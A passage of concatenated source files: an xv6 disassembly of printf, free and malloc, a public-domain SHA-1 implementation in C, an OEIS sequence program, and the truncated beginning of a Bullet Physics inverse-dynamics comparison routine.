4ba: 83 ec 2c sub $0x2c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
4bd: 8b 75 0c mov 0xc(%ebp),%esi
4c0: 0f b6 1e movzbl (%esi),%ebx
4c3: 84 db test %bl,%bl
4c5: 0f 84 b4 00 00 00 je 57f <printf+0xcf>
ap = (uint*)(void*)&fmt + 1;
4cb: 8d 45 10 lea 0x10(%ebp),%eax
4ce: 83 c6 01 add $0x1,%esi
write(fd, &c, 1);
4d1: 8d 7d e7 lea -0x19(%ebp),%edi
state = 0;
4d4: 31 d2 xor %edx,%edx
ap = (uint*)(void*)&fmt + 1;
4d6: 89 45 d0 mov %eax,-0x30(%ebp)
4d9: eb 33 jmp 50e <printf+0x5e>
4db: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
4df: 90 nop
4e0: 89 55 d4 mov %edx,-0x2c(%ebp)
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
state = '%';
4e3: ba 25 00 00 00 mov $0x25,%edx
if(c == '%'){
4e8: 83 f8 25 cmp $0x25,%eax
4eb: 74 17 je 504 <printf+0x54>
write(fd, &c, 1);
4ed: 83 ec 04 sub $0x4,%esp
4f0: 88 5d e7 mov %bl,-0x19(%ebp)
4f3: 6a 01 push $0x1
4f5: 57 push %edi
4f6: ff 75 08 pushl 0x8(%ebp)
4f9: e8 05 fe ff ff call 303 <write>
4fe: 8b 55 d4 mov -0x2c(%ebp),%edx
} else {
putc(fd, c);
501: 83 c4 10 add $0x10,%esp
for(i = 0; fmt[i]; i++){
504: 0f b6 1e movzbl (%esi),%ebx
507: 83 c6 01 add $0x1,%esi
50a: 84 db test %bl,%bl
50c: 74 71 je 57f <printf+0xcf>
c = fmt[i] & 0xff;
50e: 0f be cb movsbl %bl,%ecx
511: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
514: 85 d2 test %edx,%edx
516: 74 c8 je 4e0 <printf+0x30>
}
} else if(state == '%'){
518: 83 fa 25 cmp $0x25,%edx
51b: 75 e7 jne 504 <printf+0x54>
if(c == 'd'){
51d: 83 f8 64 cmp $0x64,%eax
520: 0f 84 9a 00 00 00 je 5c0 <printf+0x110>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
526: 81 e1 f7 00 00 00 and $0xf7,%ecx
52c: 83 f9 70 cmp $0x70,%ecx
52f: 74 5f je 590 <printf+0xe0>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
531: 83 f8 73 cmp $0x73,%eax
534: 0f 84 d6 00 00 00 je 610 <printf+0x160>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
53a: 83 f8 63 cmp $0x63,%eax
53d: 0f 84 8d 00 00 00 je 5d0 <printf+0x120>
putc(fd, *ap);
ap++;
} else if(c == '%'){
543: 83 f8 25 cmp $0x25,%eax
546: 0f 84 b4 00 00 00 je 600 <printf+0x150>
write(fd, &c, 1);
54c: 83 ec 04 sub $0x4,%esp
54f: c6 45 e7 25 movb $0x25,-0x19(%ebp)
553: 6a 01 push $0x1
555: 57 push %edi
556: ff 75 08 pushl 0x8(%ebp)
559: e8 a5 fd ff ff call 303 <write>
putc(fd, c);
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
55e: 88 5d e7 mov %bl,-0x19(%ebp)
write(fd, &c, 1);
561: 83 c4 0c add $0xc,%esp
564: 6a 01 push $0x1
566: 83 c6 01 add $0x1,%esi
569: 57 push %edi
56a: ff 75 08 pushl 0x8(%ebp)
56d: e8 91 fd ff ff call 303 <write>
for(i = 0; fmt[i]; i++){
572: 0f b6 5e ff movzbl -0x1(%esi),%ebx
putc(fd, c);
576: 83 c4 10 add $0x10,%esp
}
state = 0;
579: 31 d2 xor %edx,%edx
for(i = 0; fmt[i]; i++){
57b: 84 db test %bl,%bl
57d: 75 8f jne 50e <printf+0x5e>
}
}
}
57f: 8d 65 f4 lea -0xc(%ebp),%esp
582: 5b pop %ebx
583: 5e pop %esi
584: 5f pop %edi
585: 5d pop %ebp
586: c3 ret
587: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
58e: 66 90 xchg %ax,%ax
printint(fd, *ap, 16, 0);
590: 83 ec 0c sub $0xc,%esp
593: b9 10 00 00 00 mov $0x10,%ecx
598: 6a 00 push $0x0
59a: 8b 5d d0 mov -0x30(%ebp),%ebx
59d: 8b 45 08 mov 0x8(%ebp),%eax
5a0: 8b 13 mov (%ebx),%edx
5a2: e8 59 fe ff ff call 400 <printint>
ap++;
5a7: 89 d8 mov %ebx,%eax
5a9: 83 c4 10 add $0x10,%esp
state = 0;
5ac: 31 d2 xor %edx,%edx
ap++;
5ae: 83 c0 04 add $0x4,%eax
5b1: 89 45 d0 mov %eax,-0x30(%ebp)
5b4: e9 4b ff ff ff jmp 504 <printf+0x54>
5b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
printint(fd, *ap, 10, 1);
5c0: 83 ec 0c sub $0xc,%esp
5c3: b9 0a 00 00 00 mov $0xa,%ecx
5c8: 6a 01 push $0x1
5ca: eb ce jmp 59a <printf+0xea>
5cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
putc(fd, *ap);
5d0: 8b 5d d0 mov -0x30(%ebp),%ebx
write(fd, &c, 1);
5d3: 83 ec 04 sub $0x4,%esp
putc(fd, *ap);
5d6: 8b 03 mov (%ebx),%eax
write(fd, &c, 1);
5d8: 6a 01 push $0x1
ap++;
5da: 83 c3 04 add $0x4,%ebx
write(fd, &c, 1);
5dd: 57 push %edi
5de: ff 75 08 pushl 0x8(%ebp)
putc(fd, *ap);
5e1: 88 45 e7 mov %al,-0x19(%ebp)
write(fd, &c, 1);
5e4: e8 1a fd ff ff call 303 <write>
ap++;
5e9: 89 5d d0 mov %ebx,-0x30(%ebp)
5ec: 83 c4 10 add $0x10,%esp
state = 0;
5ef: 31 d2 xor %edx,%edx
5f1: e9 0e ff ff ff jmp 504 <printf+0x54>
5f6: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
5fd: 8d 76 00 lea 0x0(%esi),%esi
putc(fd, c);
600: 88 5d e7 mov %bl,-0x19(%ebp)
write(fd, &c, 1);
603: 83 ec 04 sub $0x4,%esp
606: e9 59 ff ff ff jmp 564 <printf+0xb4>
60b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
60f: 90 nop
s = (char*)*ap;
610: 8b 45 d0 mov -0x30(%ebp),%eax
613: 8b 18 mov (%eax),%ebx
ap++;
615: 83 c0 04 add $0x4,%eax
618: 89 45 d0 mov %eax,-0x30(%ebp)
if(s == 0)
61b: 85 db test %ebx,%ebx
61d: 74 17 je 636 <printf+0x186>
while(*s != 0){
61f: 0f b6 03 movzbl (%ebx),%eax
state = 0;
622: 31 d2 xor %edx,%edx
while(*s != 0){
624: 84 c0 test %al,%al
626: 0f 84 d8 fe ff ff je 504 <printf+0x54>
62c: 89 75 d4 mov %esi,-0x2c(%ebp)
62f: 89 de mov %ebx,%esi
631: 8b 5d 08 mov 0x8(%ebp),%ebx
634: eb 1a jmp 650 <printf+0x1a0>
s = "(null)";
636: bb 4b 08 00 00 mov $0x84b,%ebx
while(*s != 0){
63b: 89 75 d4 mov %esi,-0x2c(%ebp)
63e: b8 28 00 00 00 mov $0x28,%eax
643: 89 de mov %ebx,%esi
645: 8b 5d 08 mov 0x8(%ebp),%ebx
648: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
64f: 90 nop
write(fd, &c, 1);
650: 83 ec 04 sub $0x4,%esp
s++;
653: 83 c6 01 add $0x1,%esi
656: 88 45 e7 mov %al,-0x19(%ebp)
write(fd, &c, 1);
659: 6a 01 push $0x1
65b: 57 push %edi
65c: 53 push %ebx
65d: e8 a1 fc ff ff call 303 <write>
while(*s != 0){
662: 0f b6 06 movzbl (%esi),%eax
665: 83 c4 10 add $0x10,%esp
668: 84 c0 test %al,%al
66a: 75 e4 jne 650 <printf+0x1a0>
66c: 8b 75 d4 mov -0x2c(%ebp),%esi
state = 0;
66f: 31 d2 xor %edx,%edx
671: e9 8e fe ff ff jmp 504 <printf+0x54>
676: 66 90 xchg %ax,%ax
678: 66 90 xchg %ax,%ax
67a: 66 90 xchg %ax,%ax
67c: 66 90 xchg %ax,%ax
67e: 66 90 xchg %ax,%ax
00000680 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
680: f3 0f 1e fb endbr32
684: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
685: a1 0c 0b 00 00 mov 0xb0c,%eax
{
68a: 89 e5 mov %esp,%ebp
68c: 57 push %edi
68d: 56 push %esi
68e: 53 push %ebx
68f: 8b 5d 08 mov 0x8(%ebp),%ebx
692: 8b 10 mov (%eax),%edx
bp = (Header*)ap - 1;
694: 8d 4b f8 lea -0x8(%ebx),%ecx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
697: 39 c8 cmp %ecx,%eax
699: 73 15 jae 6b0 <free+0x30>
69b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
69f: 90 nop
6a0: 39 d1 cmp %edx,%ecx
6a2: 72 14 jb 6b8 <free+0x38>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
6a4: 39 d0 cmp %edx,%eax
6a6: 73 10 jae 6b8 <free+0x38>
{
6a8: 89 d0 mov %edx,%eax
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
6aa: 8b 10 mov (%eax),%edx
6ac: 39 c8 cmp %ecx,%eax
6ae: 72 f0 jb 6a0 <free+0x20>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
6b0: 39 d0 cmp %edx,%eax
6b2: 72 f4 jb 6a8 <free+0x28>
6b4: 39 d1 cmp %edx,%ecx
6b6: 73 f0 jae 6a8 <free+0x28>
break;
if(bp + bp->s.size == p->s.ptr){
6b8: 8b 73 fc mov -0x4(%ebx),%esi
6bb: 8d 3c f1 lea (%ecx,%esi,8),%edi
6be: 39 fa cmp %edi,%edx
6c0: 74 1e je 6e0 <free+0x60>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
6c2: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
6c5: 8b 50 04 mov 0x4(%eax),%edx
6c8: 8d 34 d0 lea (%eax,%edx,8),%esi
6cb: 39 f1 cmp %esi,%ecx
6cd: 74 28 je 6f7 <free+0x77>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
6cf: 89 08 mov %ecx,(%eax)
freep = p;
}
6d1: 5b pop %ebx
freep = p;
6d2: a3 0c 0b 00 00 mov %eax,0xb0c
}
6d7: 5e pop %esi
6d8: 5f pop %edi
6d9: 5d pop %ebp
6da: c3 ret
6db: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
6df: 90 nop
bp->s.size += p->s.ptr->s.size;
6e0: 03 72 04 add 0x4(%edx),%esi
6e3: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
6e6: 8b 10 mov (%eax),%edx
6e8: 8b 12 mov (%edx),%edx
6ea: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
6ed: 8b 50 04 mov 0x4(%eax),%edx
6f0: 8d 34 d0 lea (%eax,%edx,8),%esi
6f3: 39 f1 cmp %esi,%ecx
6f5: 75 d8 jne 6cf <free+0x4f>
p->s.size += bp->s.size;
6f7: 03 53 fc add -0x4(%ebx),%edx
freep = p;
6fa: a3 0c 0b 00 00 mov %eax,0xb0c
p->s.size += bp->s.size;
6ff: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
702: 8b 53 f8 mov -0x8(%ebx),%edx
705: 89 10 mov %edx,(%eax)
}
707: 5b pop %ebx
708: 5e pop %esi
709: 5f pop %edi
70a: 5d pop %ebp
70b: c3 ret
70c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00000710 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
710: f3 0f 1e fb endbr32
714: 55 push %ebp
715: 89 e5 mov %esp,%ebp
717: 57 push %edi
718: 56 push %esi
719: 53 push %ebx
71a: 83 ec 1c sub $0x1c,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
71d: 8b 45 08 mov 0x8(%ebp),%eax
if((prevp = freep) == 0){
720: 8b 3d 0c 0b 00 00 mov 0xb0c,%edi
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
726: 8d 70 07 lea 0x7(%eax),%esi
729: c1 ee 03 shr $0x3,%esi
72c: 83 c6 01 add $0x1,%esi
if((prevp = freep) == 0){
72f: 85 ff test %edi,%edi
731: 0f 84 a9 00 00 00 je 7e0 <malloc+0xd0>
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
737: 8b 07 mov (%edi),%eax
if(p->s.size >= nunits){
739: 8b 48 04 mov 0x4(%eax),%ecx
73c: 39 f1 cmp %esi,%ecx
73e: 73 6d jae 7ad <malloc+0x9d>
740: 81 fe 00 10 00 00 cmp $0x1000,%esi
746: bb 00 10 00 00 mov $0x1000,%ebx
74b: 0f 43 de cmovae %esi,%ebx
p = sbrk(nu * sizeof(Header));
74e: 8d 0c dd 00 00 00 00 lea 0x0(,%ebx,8),%ecx
755: 89 4d e4 mov %ecx,-0x1c(%ebp)
758: eb 17 jmp 771 <malloc+0x61>
75a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
760: 8b 10 mov (%eax),%edx
if(p->s.size >= nunits){
762: 8b 4a 04 mov 0x4(%edx),%ecx
765: 39 f1 cmp %esi,%ecx
767: 73 4f jae 7b8 <malloc+0xa8>
769: 8b 3d 0c 0b 00 00 mov 0xb0c,%edi
76f: 89 d0 mov %edx,%eax
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
771: 39 c7 cmp %eax,%edi
773: 75 eb jne 760 <malloc+0x50>
p = sbrk(nu * sizeof(Header));
775: 83 ec 0c sub $0xc,%esp
778: ff 75 e4 pushl -0x1c(%ebp)
77b: e8 eb fb ff ff call 36b <sbrk>
if(p == (char*)-1)
780: 83 c4 10 add $0x10,%esp
783: 83 f8 ff cmp $0xffffffff,%eax
786: 74 1b je 7a3 <malloc+0x93>
hp->s.size = nu;
788: 89 58 04 mov %ebx,0x4(%eax)
free((void*)(hp + 1));
78b: 83 ec 0c sub $0xc,%esp
78e: 83 c0 08 add $0x8,%eax
791: 50 push %eax
792: e8 e9 fe ff ff call 680 <free>
return freep;
797: a1 0c 0b 00 00 mov 0xb0c,%eax
if((p = morecore(nunits)) == 0)
79c: 83 c4 10 add $0x10,%esp
79f: 85 c0 test %eax,%eax
7a1: 75 bd jne 760 <malloc+0x50>
return 0;
}
}
7a3: 8d 65 f4 lea -0xc(%ebp),%esp
return 0;
7a6: 31 c0 xor %eax,%eax
}
7a8: 5b pop %ebx
7a9: 5e pop %esi
7aa: 5f pop %edi
7ab: 5d pop %ebp
7ac: c3 ret
if(p->s.size >= nunits){
7ad: 89 c2 mov %eax,%edx
7af: 89 f8 mov %edi,%eax
7b1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(p->s.size == nunits)
7b8: 39 ce cmp %ecx,%esi
7ba: 74 54 je 810 <malloc+0x100>
p->s.size -= nunits;
7bc: 29 f1 sub %esi,%ecx
7be: 89 4a 04 mov %ecx,0x4(%edx)
p += p->s.size;
7c1: 8d 14 ca lea (%edx,%ecx,8),%edx
p->s.size = nunits;
7c4: 89 72 04 mov %esi,0x4(%edx)
freep = prevp;
7c7: a3 0c 0b 00 00 mov %eax,0xb0c
}
7cc: 8d 65 f4 lea -0xc(%ebp),%esp
return (void*)(p + 1);
7cf: 8d 42 08 lea 0x8(%edx),%eax
}
7d2: 5b pop %ebx
7d3: 5e pop %esi
7d4: 5f pop %edi
7d5: 5d pop %ebp
7d6: c3 ret
7d7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
7de: 66 90 xchg %ax,%ax
base.s.ptr = freep = prevp = &base;
7e0: c7 05 0c 0b 00 00 10 movl $0xb10,0xb0c
7e7: 0b 00 00
base.s.size = 0;
7ea: bf 10 0b 00 00 mov $0xb10,%edi
base.s.ptr = freep = prevp = &base;
7ef: c7 05 10 0b 00 00 10 movl $0xb10,0xb10
7f6: 0b 00 00
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
7f9: 89 f8 mov %edi,%eax
base.s.size = 0;
7fb: c7 05 14 0b 00 00 00 movl $0x0,0xb14
802: 00 00 00
if(p->s.size >= nunits){
805: e9 36 ff ff ff jmp 740 <malloc+0x30>
80a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
prevp->s.ptr = p->s.ptr;
810: 8b 0a mov (%edx),%ecx
812: 89 08 mov %ecx,(%eax)
814: eb b1 jmp 7c7 <malloc+0xb7>
|
/*
SHA-1 in C
By Steve Reid <steve@edmweb.com>
100% Public Domain
Test Vectors (from FIPS PUB 180-1)
"abc"
A9993E36 4706816A BA3E2571 7850C26C 9CD0D89D
"abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq"
84983E44 1C3BD26E BAAE4AA1 F95129E5 E54670F1
A million repetitions of "a"
34AA973C D4C4DAA4 F61EEB2B DBAD2731 6534016F
*/
/* #define LITTLE_ENDIAN * This should be #define'd already, if true. */
/* #define SHA1HANDSOFF * Copies data before messing with it. */
#define SHA1HANDSOFF
#include <stdio.h>
#include <string.h>
/* for uint32_t */
#include <stdint.h>
#include "sha1.h"
#define rol(value, bits) (((value) << (bits)) | ((value) >> (32 - (bits))))
/* blk0() and blk() perform the initial expand. */
/* I got the idea of expanding during the round function from SSLeay */
#if BYTE_ORDER == LITTLE_ENDIAN
#define blk0(i) (block->l[i] = (rol(block->l[i],24)&0xFF00FF00) \
|(rol(block->l[i],8)&0x00FF00FF))
#elif BYTE_ORDER == BIG_ENDIAN
#define blk0(i) block->l[i]
#else
#error "Endianness not defined!"
#endif
#define blk(i) (block->l[i&15] = rol(block->l[(i+13)&15]^block->l[(i+8)&15] \
^block->l[(i+2)&15]^block->l[i&15],1))
/* (R0+R1), R2, R3, R4 are the different operations used in SHA1 */
#define R0(v,w,x,y,z,i) z+=((w&(x^y))^y)+blk0(i)+0x5A827999+rol(v,5);w=rol(w,30);
#define R1(v,w,x,y,z,i) z+=((w&(x^y))^y)+blk(i)+0x5A827999+rol(v,5);w=rol(w,30);
#define R2(v,w,x,y,z,i) z+=(w^x^y)+blk(i)+0x6ED9EBA1+rol(v,5);w=rol(w,30);
#define R3(v,w,x,y,z,i) z+=(((w|x)&y)|(w&x))+blk(i)+0x8F1BBCDC+rol(v,5);w=rol(w,30);
#define R4(v,w,x,y,z,i) z+=(w^x^y)+blk(i)+0xCA62C1D6+rol(v,5);w=rol(w,30);
/* Hash a single 512-bit block. This is the core of the algorithm. */
void SHA1Transform(
uint32_t state[5],
const unsigned char buffer[64]
)
{
uint32_t a, b, c, d, e;
typedef union
{
unsigned char c[64];
uint32_t l[16];
} CHAR64LONG16;
#ifdef SHA1HANDSOFF
CHAR64LONG16 block[1]; /* use array to appear as a pointer */
memcpy(block, buffer, 64);
#else
/* The following had better never be used because it causes the
* pointer-to-const buffer to be cast into a pointer to non-const.
* And the result is written through. I threw a "const" in, hoping
* this will cause a diagnostic.
*/
CHAR64LONG16 *block = (const CHAR64LONG16 *) buffer;
#endif
/* Copy context->state[] to working vars */
a = state[0];
b = state[1];
c = state[2];
d = state[3];
e = state[4];
/* 4 rounds of 20 operations each. Loop unrolled. */
R0(a, b, c, d, e, 0);
R0(e, a, b, c, d, 1);
R0(d, e, a, b, c, 2);
R0(c, d, e, a, b, 3);
R0(b, c, d, e, a, 4);
R0(a, b, c, d, e, 5);
R0(e, a, b, c, d, 6);
R0(d, e, a, b, c, 7);
R0(c, d, e, a, b, 8);
R0(b, c, d, e, a, 9);
R0(a, b, c, d, e, 10);
R0(e, a, b, c, d, 11);
R0(d, e, a, b, c, 12);
R0(c, d, e, a, b, 13);
R0(b, c, d, e, a, 14);
R0(a, b, c, d, e, 15);
R1(e, a, b, c, d, 16);
R1(d, e, a, b, c, 17);
R1(c, d, e, a, b, 18);
R1(b, c, d, e, a, 19);
R2(a, b, c, d, e, 20);
R2(e, a, b, c, d, 21);
R2(d, e, a, b, c, 22);
R2(c, d, e, a, b, 23);
R2(b, c, d, e, a, 24);
R2(a, b, c, d, e, 25);
R2(e, a, b, c, d, 26);
R2(d, e, a, b, c, 27);
R2(c, d, e, a, b, 28);
R2(b, c, d, e, a, 29);
R2(a, b, c, d, e, 30);
R2(e, a, b, c, d, 31);
R2(d, e, a, b, c, 32);
R2(c, d, e, a, b, 33);
R2(b, c, d, e, a, 34);
R2(a, b, c, d, e, 35);
R2(e, a, b, c, d, 36);
R2(d, e, a, b, c, 37);
R2(c, d, e, a, b, 38);
R2(b, c, d, e, a, 39);
R3(a, b, c, d, e, 40);
R3(e, a, b, c, d, 41);
R3(d, e, a, b, c, 42);
R3(c, d, e, a, b, 43);
R3(b, c, d, e, a, 44);
R3(a, b, c, d, e, 45);
R3(e, a, b, c, d, 46);
R3(d, e, a, b, c, 47);
R3(c, d, e, a, b, 48);
R3(b, c, d, e, a, 49);
R3(a, b, c, d, e, 50);
R3(e, a, b, c, d, 51);
R3(d, e, a, b, c, 52);
R3(c, d, e, a, b, 53);
R3(b, c, d, e, a, 54);
R3(a, b, c, d, e, 55);
R3(e, a, b, c, d, 56);
R3(d, e, a, b, c, 57);
R3(c, d, e, a, b, 58);
R3(b, c, d, e, a, 59);
R4(a, b, c, d, e, 60);
R4(e, a, b, c, d, 61);
R4(d, e, a, b, c, 62);
R4(c, d, e, a, b, 63);
R4(b, c, d, e, a, 64);
R4(a, b, c, d, e, 65);
R4(e, a, b, c, d, 66);
R4(d, e, a, b, c, 67);
R4(c, d, e, a, b, 68);
R4(b, c, d, e, a, 69);
R4(a, b, c, d, e, 70);
R4(e, a, b, c, d, 71);
R4(d, e, a, b, c, 72);
R4(c, d, e, a, b, 73);
R4(b, c, d, e, a, 74);
R4(a, b, c, d, e, 75);
R4(e, a, b, c, d, 76);
R4(d, e, a, b, c, 77);
R4(c, d, e, a, b, 78);
R4(b, c, d, e, a, 79);
/* Add the working vars back into context.state[] */
state[0] += a;
state[1] += b;
state[2] += c;
state[3] += d;
state[4] += e;
/* Wipe variables */
a = b = c = d = e = 0;
#ifdef SHA1HANDSOFF
memset(block, '\0', sizeof(block));
#endif
}
/* SHA1Init - Initialize new context */
void SHA1Init(
SHA1_CTX * context
)
{
/* SHA1 initialization constants */
context->state[0] = 0x67452301;
context->state[1] = 0xEFCDAB89;
context->state[2] = 0x98BADCFE;
context->state[3] = 0x10325476;
context->state[4] = 0xC3D2E1F0;
context->count[0] = context->count[1] = 0;
}
/* Run your data through this. */
void SHA1Update(
SHA1_CTX * context,
const unsigned char *data,
uint32_t len
)
{
uint32_t i;
uint32_t j;
j = context->count[0];
if ((context->count[0] += len << 3) < j)
context->count[1]++;
context->count[1] += (len >> 29);
j = (j >> 3) & 63;
if ((j + len) > 63)
{
memcpy(&context->buffer[j], data, (i = 64 - j));
SHA1Transform(context->state, context->buffer);
for (; i + 63 < len; i += 64)
{
SHA1Transform(context->state, &data[i]);
}
j = 0;
}
else
i = 0;
memcpy(&context->buffer[j], &data[i], len - i);
}
/* Add padding and return the message digest. */
void SHA1Final(
unsigned char digest[20],
SHA1_CTX * context
)
{
unsigned i;
unsigned char finalcount[8];
unsigned char c;
#if 0 /* untested "improvement" by DHR */
/* Convert context->count to a sequence of bytes
* in finalcount. Second element first, but
* big-endian order within element.
* But we do it all backwards.
*/
unsigned char *fcp = &finalcount[8];
for (i = 0; i < 2; i++)
{
uint32_t t = context->count[i];
int j;
for (j = 0; j < 4; t >>= 8, j++)
*--fcp = (unsigned char) t}
#else
for (i = 0; i < 8; i++)
{
finalcount[i] = (unsigned char) ((context->count[(i >= 4 ? 0 : 1)] >> ((3 - (i & 3)) * 8)) & 255); /* Endian independent */
}
#endif
c = 0200;
SHA1Update(context, &c, 1);
while ((context->count[0] & 504) != 448)
{
c = 0000;
SHA1Update(context, &c, 1);
}
SHA1Update(context, finalcount, 8); /* Should cause a SHA1Transform() */
for (i = 0; i < 20; i++)
{
digest[i] = (unsigned char)
((context->state[i >> 2] >> ((3 - (i & 3)) * 8)) & 255);
}
/* Wipe variables */
memset(context, '\0', sizeof(*context));
memset(&finalcount, '\0', sizeof(finalcount));
}
void SHA1(
char *hash_out,
const char *str,
int len)
{
SHA1_CTX ctx;
unsigned int ii;
SHA1Init(&ctx);
for (ii=0; ii<len; ii+=1)
SHA1Update(&ctx, (const unsigned char*)str + ii, 1);
SHA1Final((unsigned char *)hash_out, &ctx);
hash_out[20] = '\0';
}
|
; A152257: a(n) = (3^n - 1)^2*(3^n + 1)/16.
; Submitted by Jamie Morken(s3)
; 0,1,40,1183,32800,893101,24180520,653473003,17649155200,476575627801,12867977828200,347439324082423,9380897054183200,253284538196972101,6838685390919695080,184644531291230453443,4985402576490767372800,134605871649898496094001,3634358553309089000373160,98127681108201868300330063,2649447391441158628234420000,71535079582588656608998561501,1931447148852990091231603094440,52149073020138599728256917776283,1408024971553712998047687058460800,38016674232039988195749455796342601
mov $1,1
mov $2,3
pow $2,$0
add $1,$2
mov $3,1
sub $3,$2
mul $1,$3
mul $1,$3
mov $0,$1
div $0,16
|
#include "invdyn_bullet_comparison.hpp"
#include <cmath>
#include "BulletInverseDynamics/IDConfig.hpp"
#include "BulletInverseDynamics/MultiBodyTree.hpp"
#include "btBulletDynamicsCommon.h"
#include "BulletDynamics/Featherstone/btMultiBodyConstraintSolver.h"
#include "BulletDynamics/Featherstone/btMultiBodyDynamicsWorld.h"
#include "BulletDynamics/Featherstone/btMultiBodyLinkCollider.h"
#include "BulletDynamics/Featherstone/btMultiBodyPoint2Point.h"
namespace btInverseDynamics
{
int compareInverseAndForwardDynamics(vecx &q, vecx &u, vecx &dot_u, btVector3 &gravity, bool verbose,
btMultiBody *btmb, MultiBodyTree *id_tree, double *pos_error,
double *acc_error)
{
// call function and return -1 if it does, printing an bt_id_error_message
#define RETURN_ON_FAILURE(x) \
do \
{ \
if (-1 == x) \
{ \
bt_id_error_message("calling " #x "\n"); \
return -1; \
} \
} while (0)
if (verbose)
{
printf("\n ===================================== \n");
}
vecx joint_forces(q.size());
// set positions and velocities for btMultiBody
// base link
mat33 world_T_base;
vec3 world_pos_base;
btTransform base_transform;
vec3 base_velocity;
vec3 base_angular_velocity;
RETURN_ON_FAILURE(id_tree->setGravityInWorldFrame(gravity));
RETURN_ON_FAILURE(id_tree->getBodyOrigin(0, &world_pos_base));
RETURN_ON_FAILURE(id_tree->getBodyTransform(0, &world_T_base));
RETURN_ON_FAILURE(id_tree->getBodyAngularVelocity(0, &base_angular_velocity));
RETURN_ON_FAILURE(id_tree->getBodyLinearVelocityCoM(0, &base_velocity));
base_transform.setBasis(world_T_base);
base_transform.setOrigin(world_pos_base);
btmb->setBaseWorldTransform(base_transform);
btmb->setBaseOmega(base_angular_velocity);
btmb->setBaseVel(base_velocity);
btmb->setLinearDamping(0);
btmb->setAngularDamping(0);
// remaining links
int q_index;
if (btmb->hasFixedBase())
{
q_index = 0;
}
else
{
q_index = 6;
}
if (verbose)
{
printf("bt:num_links= %d, num_dofs= %d\n", btmb->getNumLinks(), btmb->getNumDofs());
}
for (int l = 0; l < btmb->getNumLinks(); l++)
{
const btMultibodyLink &link = btmb->getLink(l);
if (verbose)
{
printf("link %d, pos_var_count= %d, dof_count= %d\n", l, link.m_posVarCount,
link.m_dofCount);
}
if (link.m_posVarCount == 1)
{
btmb->setJointPosMultiDof(l, &q(q_index));
btmb->setJointVelMultiDof(l, &u(q_index));
if (verbose)
{
printf("set q[%d]= %f, u[%d]= %f\n", q_index, q(q_index), q_index, u(q_index));
}
q_index++;
}
}
// sanity check
if (q_index != q.size())
{
bt_id_error_message("error in number of dofs for btMultibody and MultiBodyTree\n");
return -1;
}
// run inverse dynamics to determine joint_forces for given q, u, dot_u
if (-1 == id_tree->calculateInverseDynamics(q, u, dot_u, &joint_forces))
{
bt_id_error_message("calculating inverse dynamics\n");
return -1;
}
// set up bullet forward dynamics model
btScalar dt = 0;
btAlignedObjectArray<btScalar> scratch_r;
btAlignedObjectArray<btVector3> scratch_v;
btAlignedObjectArray<btMatrix3x3> scratch_m;
// this triggers switch between using either appliedConstraintForce or appliedForce
bool isConstraintPass = false;
// apply gravity forces for btMultiBody model. Must be done manually.
btmb->addBaseForce(btmb->getBaseMass() * gravity);
for (int link = 0; link < btmb->getNumLinks(); link++)
{
btmb->addLinkForce(link, gravity * btmb->getLinkMass(link));
if (verbose)
{
printf("link %d, applying gravity %f %f %f\n", link,
gravity[0] * btmb->getLinkMass(link), gravity[1] * btmb->getLinkMass(link),
gravity[2] * btmb->getLinkMass(link));
}
}
// apply generalized forces
if (btmb->hasFixedBase())
{
q_index = 0;
}
else
{
vec3 base_force;
base_force(0) = joint_forces(3);
base_force(1) = joint_forces(4);
base_force(2) = joint_forces(5);
vec3 base_moment;
base_moment(0) = joint_forces(0);
base_moment(1) = joint_forces(1);
base_moment(2) = joint_forces(2);
